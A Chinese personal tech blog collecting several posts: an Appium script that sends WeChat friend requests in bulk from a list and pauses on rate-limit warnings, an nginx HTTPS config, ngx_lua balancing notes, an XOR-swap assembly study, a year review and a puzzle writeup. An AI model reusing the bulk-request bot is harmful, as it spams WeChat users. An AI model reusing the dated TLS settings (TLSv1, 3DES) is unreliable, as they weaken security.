Appium Server默认会监听http://localhost:4723 ,用于RPC通讯。下面我们就可以打开熟悉的编程环境,编写UI测试用例了。这里使用Python进行编写,需要先安装Appium的Python Client  ,然后再python中使用appium.webclient就可以连接Appium server了。

pip install Appium-Python-Client

使用Appium进行UI控制

根据注释修改相应属性后即可运行测试。手机需要打开ADB调试,执行完以下代码后,Appium会在手机上安装Appium Settings和Unlock两个程序,随后微信会被启动。

from appium import webdriver

desired_caps = {}
desired_caps['platformName'] = 'Android'  #测试平台
desired_caps['platformVersion'] = '5.1'   #平台版本
desired_caps['deviceName'] = 'm3_note'    #设备名称,多设备时需区分
desired_caps['appPackage'] = 'com.tencent.mm'  #app package名
desired_caps['appActivity'] = '.ui.LauncherUI' #app默认Activity
dr = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps) #启动Remote RPC

Selenum Webdriver使用了一种类似于JS中的DOM模型的方法来选择页面中的元素。dr为当前正在活动的activity对象,可以使用findElementByXXX的方法来获取Activity中的元素。所有Element后带s的函数,均获得所有匹配的元素,不带s的函数获得第一个匹配的元素。

查询函数

1. findElement(s)ByName

在Android中基本没用。Android UI没有Name这个属性。有说可以使用text值获取。但我并没有成功

2. findElement(s)ByClassName

通过类名来获取元素,用法如下:

item_list = dr.find_elements_by_class_name("android.widget.LinearLayout")
item_list[2].click()

3. findElementById

通过resource_id来获取元素,每个Activity中都是唯一的,用法如下

t = dr.find_element_by_id("com.tencent.mm:id/f7")
t.send_keys(wechatId)

4. findElement(s)ByAccessbiltiyId

在Android上AccessbilityID实际就是contentDescription。这个属性是为了方便视力受损人士使用手机所设置。开启TTS后系统会朗读相关控件的contentDescription。

5. findElement(s)ByXPath

通过XML Path描述来寻找元素。我没有成功的获取到,可能是XPath写的有问题。

s = dr.find_element_by_xpath("//android.widget.TextView[contains(@text,'搜索')]")
s.click()

6. findElementByAndroidUIAutomator

通过UIAutomator的选择器来获取元素。因为Appium在Android上实际是调用的UIAutomator,所以可以通过UIAutomator的选择器来选择元素。

el = dr.find_element_by_android_ui_automator("new UiSelector().text(\"搜索\")")
el.click()

操作函数

操作函数用于操作选定的元素,有很多,以下仅列举几个,更多的请查阅手册。

  1. click
  2. send_keys
  3. clear

查询函数返回的元素对象可以像JS中的dom元素一样,继续使用查询函数来选定其子元素。用例如下。

search = dr.find_element_by_id("com.tencent.mm:id/aqw").find_element_by_class_name("android.widget.RelativeLayout")
search.click()

如何确定查询规则

了解了相关的函数后,下面就应对UI进行定位了。如果是自己团队开发的程序,推荐让开发同学在所有的空间上都添加resource_id进行绝对定位。如果碰到没有谈价resource_id的元素,那就要使用别的办法进行定位了。

1. UI Automator Viewer

UI Automator Viewer是Android官方的UI定位工具,位于sdk/tools下。运行后会打开viewer界面。点击获取按钮即可获取当前正在运行的Activity的UI结构。

uiviewer

2. AppiumDriver getPageSource

AppiumDriver(Client) 可以很方便的获得当前正在运行的Activity的UI描述,随后可根据返回的XML文档来寻找元素。

print dr.page_source

getSource

(图片与他人,侵删)

确定元素位置后,即可根据前述的Find方法来查找/选择元素

编写完整的测试代码

正确的获取元素之后便可以获取元素相关的信息,随后使用各语言常用的测试框架编写测试即可,如Java的JUnit,Nodejs的Mocha等。

这里我使用Appium主要是为了模拟用户点击添加微信好友,所以完整的程序并没有使用到测试框架。相关的UI元素获取/操作方法供大家参考。

# coding:utf-8
from appium import webdriver
from time import sleep


def addFriend(dr, id, dryRun=False):
    succ = False
    wechatId = str(id)
    dr.find_element_by_accessibility_id(r"更多功能按钮").click()
    item_list = dr.find_elements_by_class_name("android.widget.LinearLayout")
    try:
        item_list[2].click()
    except:
        print "Error! in item list len"
        return succ
    el = dr.find_element_by_class_name("android.widget.ListView")
    item_list = el.find_elements_by_class_name("android.widget.LinearLayout")
    try:
        item_list[1].click()
    except:
        print "Error! in item list len"
        return succ
    t = dr.find_element_by_id("com.tencent.mm:id/f7")
    t.send_keys(wechatId)
    search = dr.find_element_by_id("com.tencent.mm:id/aqw").find_element_by_class_name("android.widget.RelativeLayout")
    search.click()
    try:
        freq = dr.find_element_by_id('com.tencent.mm:id/aqq')
        assert freq.text == u"操作过于频繁,请稍后再试。"
        print "Frequency too high! Sleep 300s"
        sleep(60)
        return succ
    except:
        pass

    try:
        dr.find_element_by_id('com.tencent.mm:id/a8x').click()
        addBtn = dr.find_element_by_id('com.tencent.mm:id/eu')
        if not dryRun:
            addBtn.click()
            succ = True
        print "Success Send Requests:" + wechatId
    except:
        print "No Such User Or Already a Friend:" + wechatId

    while True:
        try:
            dr.find_element_by_id('com.tencent.mm:id/fb').click()
        except:
            try:
                dr.find_element_by_id('com.tencent.mm:id/f4').click()
            except:
                break
    return True

def resetActivity(dr, desired_caps):
    dr.start_activity(desired_caps['appPackage'], desired_caps['appActivity'])

desired_caps = {}
desired_caps['platformName'] = 'Android'
desired_caps['platformVersion'] = '5.1'
desired_caps['deviceName'] = 'm3_note'
desired_caps['appPackage'] = 'com.tencent.mm'
desired_caps['appActivity'] = '.ui.LauncherUI'
print "Trying connect to phone..."
dr = {}
try:
    dr = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)
except Exception, e:
    print "Cannot Connect to phone :", e
    exit()
print "Successfully connect to phone."
print "Reading friend list..."
friendList = []
fp = open("friends.txt")
line = fp.readline().strip()
while line:
    friendList.append(line)
    line = fp.readline().strip()
print "Finish reading friends. Total: " + str(len(friendList))
print "Wait for Wechat's splash screen...."
for i in range(0, 10):
    print 10 - i
    sleep(1)
succ_list = []
fail_list = []
for i in friendList:
    try:
        succ = addFriend(dr, i, dryRun=False)
        if succ:
            succ_list.append(i)
        else:
            fail_list.append(i)
    except:
        fail_list.append(i)
        resetActivity(dr, desired_caps)

print "Succeed List:"
print "\n".join(succ_list)
print "Failed List:"
print "\n".join(fail_list)

dr.close()

 

博客全面迁移并启用https链接

博客现在已经迁移到了阿里云青岛9.9学生服务器。

使用StartCom StartSSL证书用于https加密链接。

附上nginx通过ssllabs A+测试的配置文件

server {
    listen       80;
    listen	 443 ssl;
    server_name  www.summershrimp.com summershrimp.com;

    ssl on;
    ssl_certificate      /home/ubuntu/.ssl_cert/www/cert.pem;
    ssl_certificate_key  /home/ubuntu/.ssl_cert/www/cert.key;
    ssl_trusted_certificate /home/ubuntu/.ssl_cert/www/cert.pem;
    ssl_session_cache shared:SSL:1m;
    ssl_session_timeout  5m;

    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;

    resolver 114.114.114.114;
    ssl_stapling on;
    ssl_ciphers "ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!MD5:!PSK:!RC4";
    ssl_prefer_server_ciphers on;
    ssl_dhparam /home/ubuntu/.ssl_cert/dhparam.pem;

    error_page 497 =307 @https;
    location @https {
        rewrite ^(.*)$ https://$host$1 permanent;
    }
    add_header Strict-Transport-Security "max-age=63072000; preload";

    root /opt/blog/;
    index index.php index.htm index.html;
    #charset koi8-r;
    #access_log  /var/log/nginx/log/host.access.log  main;

    error_page   500 502 503 504  /50x.html;
    location = /50x.html {
        root   /usr/share/nginx/html;
    }

    if (!-e $request_filename){
        rewrite (.*) /index.php;
    }

    # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
    #
    location ~ \.php$ {
        fastcgi_pass   unix:/var/run/php5-fpm.sock;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME $document_root$fastcgi_script_name;
        include        fastcgi_params;
    }

    # deny access to .htaccess files, if Apache's document root
    # concurs with nginx's one
    #
    location ~ /\.ht {
        deny  all;
    }
}

 

SSL Server Test- summershrimp.com (Powered by Qualys SSL Labs)

HttpLuaModule在Coding WebIDE中的应用

0x00 前言

HttpLuaModule又名ngx_lua,由国人大神agentzh(章奕春)开发。ngx_lua将lua脚本语言嵌入nginx中,并用lua封装了部分nginx的API,使nginx开发不再需要繁琐的C语言进行。目前,ngx_lua在阿里cdn,又拍云cdn中均发挥了极大的作用。

Coding作为一个技术导向的创业公司,也在Coding WebIDE混合架构中使用了ngx_lua。

0x01 ngx_lua介绍

ngx_lua 通过在nginx的处理阶段中使用lua或luajit(推荐)插入lua脚本,对当前阶段的请求进行处理,使nginx具有更复杂的逻辑功能。由于lua的紧凑、快速以及内建协程,所以在保证高并发服务能力的同时极大地降低了业务逻辑实现成本。

推荐阅读浅谈 ngx_lua 在 UPYUN 的应用

0x02 应用背景

Coding WebIDE是国内第一个基于Web的集成开发环境(IDE),目前提供给用户一定的代码储存空间和一个完整的Ubuntu Terminal用于在线调试

由于IDE在使用的过程中存在状态,因此每个用户的每个Workspace必须存放在某台固定的机器上。这就要求Balancer将用户每次分配到相同的机器上。

在引入ngx_lua前,Service会在用户创建Workspace时将用户所在的机器名返回给Web UI,Web UI在每次Ajax请求的时候会带上`X-Space-Key` 和 `X-Sharding-Group`两个HTTP Header,nginx在请求中根据X-Sharding-Group的值来选择对应的Service。这里将后端的机器名暴露给了用户,带来了安全隐患。

Coding WebIDE还有一个生成访问URL的功能,可将用户在Terminal中启动的Http Application暴露在公网中,供用户调试使用。

在引入ngx_lua前,每次对访问URL的请求都会进入Service,由Service找到对应Container的IP,并通过`X-Accel-Redirect`的方式通知每个Service中的nginx,去返回目标Container中的服务。而在这个过程中,用户的请求会两次经过Service层的nginx,造成较大的延时。

0x03 ngx_lua的应用

Balancing

我们使用ngx_lua将原本需要在X-Sharding-Group头中的backend地址去掉,通过ngx_lua在数据库和缓存中检索X-Space-Key来找到对应的Service,并将upstream设为对应机器,杜绝了请求中带有Service机器名带来的隐患。同时,Redis作为缓存的加入并不会导致性能有太大的降低。

if ngx.var.backend_upstream ~= "" then
	ngx.log(ngx.ALERT, ngx.var.backend_upstream, " From Header")
	return
end

local spaceKey = ngx.req.get_headers()['X-Space-Key']
targetGroup = config.defaultGroup
redisCli = init_redis()
mysqlConn = init_mysql()
if spaceKey ~= nil then
	local shardingGroup, err = 在缓存中查询
	if shardingGroup ~= nil and shardingGroup ~= ngx.null then
		targetGroup = shardingGroup
		ngx.log(ngx.ALERT, shardingGroup, " From Redis")
	else
		res, err, errno, sqlstate = 在数据库中查询
		if not res then
			ngx.log(ngx.ERR, err)
			ngx.exit(500)
		else
			shardingGroup = res;
			if shardingGroup ~= nil then
				缓存数据
				targetGroup = shardingGroup
			end
		end
	end
end

ngx.var.backend_upstream = targetGroup
ngx.log(ngx.ALERT, "Workspace ", spaceKey, " final upstream: ",targetGroup)

close_cosock(mysqlConn)
close_cosock(redisCli)

 

 

Access URL

Access URL在引入ngx_lua后,性能得到了极大的提升。在用户生成了Access URL后,Service会将相关数据缓存入redis,在用户访问URL时,将由Frontend Balancer直接寻找对应container的信息,并直接要求Backend Service返回对应的请求。

redisCli = init_redis()

local upstream = ""

local host = ngx.req.get_headers()['host']
local spaceKey, port, token = string.match(host, "^([^-]+)-([^-]+)-([^.]+)[.]") --匹配spaceKey, port, token sdciqw-58647-eidsae.box.io ->  sdciqw, 58647, eidsae

local redisKey = spaceKey..":"..port
local jsonStr, err = redisCli:get(redisKey)
if jsonStr == nil or jsonStr == ngx.null then
	ngx.log(ngx.ERR, "access a non-exist http forwarding upstream")
else
    local luahf = cjson.decode(jsonStr)
    if luahf.token == token and luahf.ip ~= cjson.null  then
        upstream = luahf.host.."/"..luahf.ip.."/"..port..ngx.var.request_uri
    end
end
close_cosock(redisCli)
ngx.log(ngx.ALERT, "Http forwarding upstream: ", upstream)
if upstream == "" then
	ngx.exit(502)
else
	ngx.var.upstream = upstream
end

原本需要nginx转发两次的请求现在只需要一次就可以到达。大大提升了用户的体验。

WebSocket

由于WebSocket不能自定义Header,所以使用了类似于Access URL的方法进行Balancing。Web UI在建立WebSocket时所需的握手时间也有一定的降低。

0x04 ngx_lua的踩坑经历

cosocket在不同阶段的可用性

resty.mysql和resty.redis均采用了nginx中提供的cosocket进行socket链接。但cosocket并不是在每个nginx的访问阶段都可用。在我们第一版测试的时候使用了set_by_lua直接对nginx变量进行赋值。但是在这个阶段只能使用redis_lua和luasql.mysql进行访问。但这两个模块使用了lua原生的socket库,并不能复用nginx的socket链接。而且由于ngx_lua的特殊性,无法在外部模块中使用连接池,导致链接开销过大,速度降低等问题。

因此,我们将原在set_by_lua中执行的任务使用access_by_lua的方式重写,使用了复用cosocket的openresty系列库。

sql和redis的连接池

由于ngx_lua的特殊性,无法使用传统意义上的连接池。但是openresty提供了基于cosocket的连接池,可以减少每次重连造成的开销。

function close_cosock(cosock)
	if not cosock then
		return
	end
	local ok, err = cosock:set_keepalive(config.pool.idle_time, config.pool.size)
	if not ok then
		ngx.say("set keepalive error : ", err)
	end
end

使用如上代码关闭`resty.redis`和`resty.mysql`的链接便可将cosocket链接放入连接池,等待下次connect。

生产和开发环境不一致

根据官方文档,生产环境需要打开lua_code_cache。但是开发环境可以不打开lua_code_cache。当不打开code cache时,每次请求都会重新加载lua文件,这使得lua文件可以获得及时的更新。

在我们的测试中,当生产环境打开code cache后,部分

0x05 总结

综上,集成lua的nginx可以完成很多之前需要在Backend Service中完成的功能,可以减少不同模块之间的耦合度,还能一定程度上提升应用性能。

lua的开发周期和成本也比用C开发nginx模块要低得多,便于快速上线和迭代开发。因此,不妨尝试将部分业务放入ngx_lua中完成。

交换两数位运算快还是赋值快?

从初高中的OI到大学中的ACM,队友中都流传着交换变量用位运算要比用赋值速度快。不少人对此深信不疑。但这真的是真的么?今天就来从理论上分析这个问题的真假。

先附上今天所要测试的程序段:

编译环境:

➜  test  clang --version
Apple LLVM version 6.0 (clang-600.0.57) (based on LLVM 3.5svn)
Target: x86_64-apple-darwin14.3.0
Thread model: posix

先是赋值交换

void swap(int *a, int *b)
{
	int t=*a;
	*a=*b;
	*b=t;
}

然后是位运算交换

void swap(int *a,int *b)
{
        if(*a == *b )
                 return ;
	*a = *a ^ *b;
        *b = *b ^ *a;
        *a = *a ^ *b;
}

由于这里只是程序片段,就不再生成可执行文件。使用clang编译获得汇编文件来进行对比。

首先,我们不开编译优化,看看编译后的结果。(clang %s.c -S -o %s-no.s -m32)

赋值交换:

	.section	__TEXT,__text,regular,pure_instructions
	.globl	_swap
	.align	4, 0x90
_swap:                                  ## @swap
## BB#0:
	pushl	%ebp
	movl	%esp, %ebp              ##准备阶段
	subl	$12, %esp               ##开栈帧
	movl	12(%ebp), %eax          ## b -> %eax
	movl	8(%ebp), %ecx           ## a -> %ecx
	movl	%ecx, -4(%ebp)          ## 开本地变量
	movl	%eax, -8(%ebp)
	movl	-4(%ebp), %eax      
	movl	(%eax), %eax            ##交换两元素
	movl	%eax, -12(%ebp)
	movl	-8(%ebp), %eax      
	movl	(%eax), %eax
	movl	-4(%ebp), %ecx          ##赋回原变量
	movl	%eax, (%ecx)
	movl	-12(%ebp), %eax
	movl	-8(%ebp), %ecx
	movl	%eax, (%ecx)
	addl	$12, %esp
	popl	%ebp
	retl


.subsections_via_symbols

位运算交换:

.section	__TEXT,__text,regular,pure_instructions
	.globl	_swap
	.align	4, 0x90
_swap:                                  ## @swap
## BB#0:
	pushl	%ebp
	movl	%esp, %ebp
	subl	$8, %esp
	movl	12(%ebp), %eax
	movl	8(%ebp), %ecx
	movl	%ecx, -4(%ebp)
	movl	%eax, -8(%ebp)
	movl	-4(%ebp), %eax
	movl	(%eax), %eax
	movl	-8(%ebp), %ecx         ## 准备阶段都一样
	cmpl	(%ecx), %eax           ## 进行一个相等判断,下文有介绍
	jne	LBB0_2
## BB#1:
	jmp	LBB0_3
LBB0_2:
	movl	-4(%ebp), %ex
	movl	(%eax), %eax
	movl	-8(%ebp), %ecx
	xorl	(%ecx), %eax
	movl	-4(%ebp), %ecx
	movl	%eax, (%ecx)
	movl	-8(%ebp), %eax
	movl	(%eax), %eax
	movl	-4(%ebp), %ecx
	xorl	(%ecx), %eax
	movl	-8(%ebp), %ecx
	movl	%eax, (%ecx)
	movl	-4(%ebp), %eax
	movl	(%eax), %eax
	movl	-8(%ebp), %ecx
	xorl	(%ecx), %eax
	movl	-4(%ebp), %ecx
	movl	%eax, (%ecx)          ## XOR
LBB0_3:
	addl	$8, %esp
	popl	%ebp                
	retl                          ## 返回阶段


.subsections_via_symbols

很明显,赋值交换的指令数量已经比位运算交换少了不少。(待补充汇编代码分析)下面我们再打开第一级编译优化(clang %s.c -S -o %s-o1.s -O -m32)来试一下:

赋值交换:

	.section	__TEXT,__text,regular,pure_instructions
	.globl	_swap
	.align	4, 0x90
_swap:                                  ## @swap
## BB#0:
	pushl	%ebp			##%ebp 入栈
	movl	%esp, %ebp		##准备%esp
	pushl	%esi			##暂存%esi
	movl	12(%ebp), %eax		## a -> %eax
	movl	8(%ebp), %ecx		## b -> %ecx
	movl	(%ecx), %edx		## (%ecx) 此时为*b的值 -> %edx
	movl	(%eax), %esi		## (%eax) 此时为*a的值 -> %esi
	movl	%esi, (%ecx)		## %esi -> *b
	movl	%edx, (%eax)		## %edx -> *a
	popl	%esi			## 恢复 %esi
	popl	%ebp			## 弹出反址
	retl				## 返回


.subsections_via_symbols

 

位运算交换:

	.globl	_swap
	.align	4, 0x90
_swap:                                  ## @swap
## BB#0:
	pushl	%ebp                    ## %ebp入栈
	movl	%esp, %ebp              ## 准备 %esp
	pushl	%esi                    ## 暂存 %esi
	movl	12(%ebp), %ecx          ## b -> %ecx
	movl	8(%ebp), %eax           ## a -> %eax
	movl	(%eax), %esi            ## *a -> %esi 
	movl	(%ecx), %edx            ## *b -> %edx
	cmpl	%edx, %esi              ## 比较 *a *b
	je	LBB0_2                  ## 相等时跳转结束。
## BB#1:
	xorl	%esi, %edx              ## %esi(*a的值) xor %edx(*b的值) ->%edx
	movl	%edx, (%eax)            ## %edx -> %eax(*a)
	xorl	(%ecx), %edx            ##以下类似
	movl	%edx, (%ecx)
	xorl	%edx, (%eax)
LBB0_2:
	popl	%esi
	popl	%ebp
	retl


.subsections_via_symbols

赋值发在完成两个方法相同的寄存器变量准备步骤后,赋值法仅用了两个mov指令就完成了变量交换。而位运算法执行了三个xor两个mov指令才完成交换。

因此,位运算交换两数并不比赋值法快,特别在编译优化优秀的编译器上,中间变量完全可以使用寄存器优化掉。因此,放弃用位运算作交换的念头吧。

2015新年祭

2014年过去了,在这一年中,虽然代码写的不多,但是收获了更多的朋友。Python 和 Node也是新技能get。貌似大学里第一次有补考不过的记录也是这一年。我写这些东西就是喜欢东一句西一句。还是写跟技术有关的东西比较顺畅。觉得语文真的应该好好练练了。其实写跟技术有关的东西也是图片和代码占据了大部分。都说无图无真相。你们要是觉得这个读起来很费劲也别怪我。下面是简单列了一个这一年都干了啥的单子,当然这都是些比较大的事情。帮同学写个课设啥的都不会写在下面。

  1. 2014.03 来人外卖平台
  2. 2014.04 ACM/ICPC湘潭赛区邀请赛
  3. 2014.05 第三届中国软件杯大学生软件设计大赛
  4. 2014.07 中国软件杯大赛评分系统
  5. 2014.09 阿斯图-相聚圣彼得堡中俄大学生游戏开发大赛
  6. 2014.10 JCTF金陵科技杯信息安全大赛
  7. 2014.11 信息安全讲座部分技术展示
  8. 2014.11 第三届江苏省信息安全技能竞赛大学组
  9. 2014.11 电子电路设计大赛校赛
  10. 2014.12 组织TEDxNUAA分享会
  11. 2014.12 参加iOSCon2014 iOS开发者交流会
  12. 2014.12 学院科创开题大会演讲嘉宾
  13. 2014.12 攻氪|HACK 黑客马拉松

2015年有是新的一年,这一年也算是开了个好头,至少这学期成绩单木有挂科的。还给一个挺好玩的开源项目交了一个PR,虽然后来还是麻烦人家原作者把整个结构都给改了。毕竟是我第一次用python正儿八经写东西。2014年拖欠的各种比赛奖金也都发下来了。然后就请客请客出去玩就花掉了好多好多好多。寒假放假后也在南京疯玩了好久,又浪到北京疯了一阵才浪回家。回家后写了人生中第一份简历。虽然自己看着挺搓的,因为真的是挺搓。但好歹也是第一份,投给了阿里云。第一次啊就这么给了阿里,阿里你要是不给我过我就真的是好伤心。

2015半年期目标应该比2014年要明确的多

  1. 在ICCCS上发表一篇论文
  2. GSoC 2015
  3. WAF科创尽量完成
  4. TechInnoMS项目维护好

其实还注册了浪潮的超级计算的比赛。但是真的一点动力都木有啊。。三月中旬就要交proposal了我们基本还没动。根本不知道要做什么学校根本没有相关的积累唉唉唉。但是因为这个去北京浪的那一圈还是学到了很多东西。

现在还都是从零开始呢。希望不会被自己的拖延症搅和。新的一年加油干爸爹!

(但愿2015能在一直不忍下手的前端和移动APP上也下点手(虽然上半年肯定没戏了))

白菜哥的新年独享100块解谜红包WriteUp

白菜哥的新年大红包由两部分组成,

Part1:[F1129B4C724435598515598630AC61A8]

Part2:

白菜哥红包Part2

 

扫描二维码后得到网址http://7sbxnl.com1.z0.glb.clouddn.com/dahongbao.txt

下载TxT,打开后发现是Base64编码后的文字。

Part2-1

使用Base64解码后,用file命令查看文件类型。得知是win32下压缩的rar压缩包。

cat dahongbao.txt | base64  -d  >dahongbao.bin
file dahongbao.bin

打开压缩包后,发现文件有密码,无法继续进行。

Part2-2

回归Part1下手,容易发现Part1是使用摘要算法后的Hash。实际这里使用的是md5。在cmd5等查询网站查询均无结果。将Part1直接拖入百度搜索,得到如下结果:

Part1-1

得到hash对应的字符串:

+ibcerj?ianu

这里加密采用了Qwerty键盘和Dvoark键盘的映射加密。根据对应规则解密得到

}gnidoc{galf

将顺序颠倒后便是

flag{coding}

根据之前发布的提示,rar密码为c0d1ng。解压rar获得havefun.txt。打开后看到“This program cannot be run in DOS mode.”便知道为Windows 可执行文件,与file命令得到的类型一致。修改后缀为exe。运行后弹出错误提示。

Part2-3-1

考虑到可执行文件无法执行,可能为PE头错误,用二进制编辑器打开havefun.exe,发现其中一个偏移量9000有问题,对应位置应为8000,修复后保存

Part2-3-2

运行后可获得一串数字,且没有数字大于7,因此考虑为八进制数。

170157 122707 113150 24304 107577 166230 112777 167224 131307 136626 167174 126377

反汇编原始程序,定位到main()入口,发现循环调用了part1函数,并且输出part1的返回值,共循环12次,输出使用”%o”格式化。

Part2-5

定位到part1函数,发现part2函数将传入参数加7dfh后返回。7dfh=2015d。因为今年是2015年,猜测加密函数f(x) = x+2015,因此将上面的八进制串每个都减掉7dfh。

Part2-5-2

得到十六进制的数字串

E890 9DE8 8E89    20E5    87A0 E4B9 8E20 E6B5 AAE8 B5B7 E69D A520 E587 A020 E59D 97E9 92B1 20EF BC9F。

每两位分割添加%号并且url解码后得到中文

“萝莉 几乎 浪起来 几 块钱 ?”

这一层加密采用的是拼音与T9的对应。萝莉为loli 对应56 54 ,几乎 对应54 48, 浪起来 对应57 51, 几 对应54  块钱 对应57。56 54 54 48 57 51 54 57再查ascii码表发现全部为数字,86609369,为最终的红包密码。

总的来说最后一步需要一定的运气。其他的步骤还算正常。很可惜没有人在10小时内拿到这个一人独吞100元大红包。